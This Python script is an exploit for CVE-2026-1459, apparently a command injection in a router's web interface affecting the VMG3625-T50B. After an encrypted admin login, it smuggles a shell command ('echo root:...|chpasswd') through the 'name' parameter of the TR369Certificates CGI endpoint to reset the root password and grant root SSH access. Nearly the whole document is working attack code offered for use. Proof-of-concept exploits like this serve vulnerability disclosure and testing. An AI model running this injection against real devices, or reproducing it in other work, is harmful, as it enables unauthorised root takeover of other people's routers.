#!/usr/bin/env python3 """ Exploits CVE-2026-1459 to obtain shell access to the router Requires valid administration credentials, changes root password temporarily, restarting will reset the root password. Works on VMG3625-T50B and similar, is guaranteed to work on firmware V5.50(ABPM.9.7)C0 or earlier. """ import argparse import base64 import json import sys import requests from Crypto.Cipher import AES from Crypto.Cipher import PKCS1_v1_5 as PKCS1_v15 from Crypto.PublicKey import RSA from Crypto.Random import get_random_bytes from Crypto.Util.Padding import pad, unpad requests.packages.urllib3.disable_warnings() def rsa_encrypt_v15(pem: str, data: bytes) -> str: return base64.b64encode(PKCS1_v15.new(RSA.import_key(pem)).encrypt(data)).decode() def aes_encrypt(key: bytes, iv16: bytes, plaintext: str) -> str: cipher = AES.new(key, AES.MODE_CBC, iv16) ct = cipher.encrypt(pad(plaintext.encode(), AES.block_size)) return base64.b64encode(ct).decode() def aes_decrypt(key: bytes, iv_b64: str, ct_b64: str) -> dict: iv = base64.b64decode(iv_b64)[:16] ct = base64.b64decode(ct_b64) cipher = AES.new(key, AES.MODE_CBC, iv) pt = unpad(cipher.decrypt(ct), AES.block_size) return json.loads(pt.decode()) def login(host: str, username: str, password: str): base_url = host.rstrip("/") s = requests.Session() s.verify = False try: s.get(base_url, timeout=5) except Exception: print("Host is not up, are you sure you entered correct host?") return pem = None try: r = s.get(f"{base_url}/getRSAPublickKey", timeout=10) key_response = r.json() if r.content else {} if "RSAPublicKey" in key_response: pem = key_response["RSAPublicKey"] except Exception as e: print(f"Failed to obtain RSA public key for login: {e}") return base64_password = base64.b64encode(password.encode()).decode() login_payload = { "Input_Account": username, "Input_Passwd": base64_password, "currLang": "en", "RememberPassword": 0, "SHA512_password": False } aes_key_bytes = get_random_bytes(32) aes_iv_bytes = get_random_bytes(32) aes_key_b64 = base64.b64encode(aes_key_bytes).decode() aes_iv_b64 = base64.b64encode(aes_iv_bytes).decode() encryption_key = rsa_encrypt_v15(pem, aes_key_b64.encode()) request_body = { "content": aes_encrypt(aes_key_bytes, aes_iv_bytes[:16], json.dumps(login_payload)), "key": encryption_key, "iv": aes_iv_b64 } try: headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"} r = s.post(f"{base_url}/UserLogin", data=json.dumps(request_body), headers=headers, timeout=10) content = r.json() if r.content else {} response = aes_decrypt(aes_key_bytes, content["iv"], content["content"]) if response['result'] != 'ZCFG_SUCCESS': print(f"Failed to login, are you sure you entered correct credentials?") return session_key = response['sessionkey'] return s, aes_key_bytes, session_key except Exception as e: print(f"Failed to login, are you sure you entered correct credentials? {e}") def exploit(session: requests.Session, base_url: str, session_key: str, root_pass: str): payload = f"x;echo root:{root_pass}|chpasswd;" headers = { "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "CSRFToken": session_key } try: r = session.request("GET", f"{base_url}/cgi-bin/TR369Certificates?action=download&name={requests.utils.quote(payload)}", headers=headers, timeout=10) if r.status_code == 200: print("Exploit succeeded, you should now be able to ssh to the router as root with the provided password.") except Exception as e: print("Exploit failed.") if __name__ == "__main__": ap = argparse.ArgumentParser( description="CVE-2026-1459 exploit", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" examples: CVE-2026-1459-shell.py http://10.0.0.138 admin pass new_ssh_password """ ) ap.add_argument("host", help="Router base URL (e.g. http://10.0.0.138)") ap.add_argument("username", help="Account username") ap.add_argument("password", help="Account Password") ap.add_argument("new_ssh_password", help="The new root ssh password") args = ap.parse_args() result = login(args.host, args.username, args.password) if result is None: sys.exit(-1) session, aes_key, session_key = result exploit(session, args.host, session_key, args.new_ssh_password)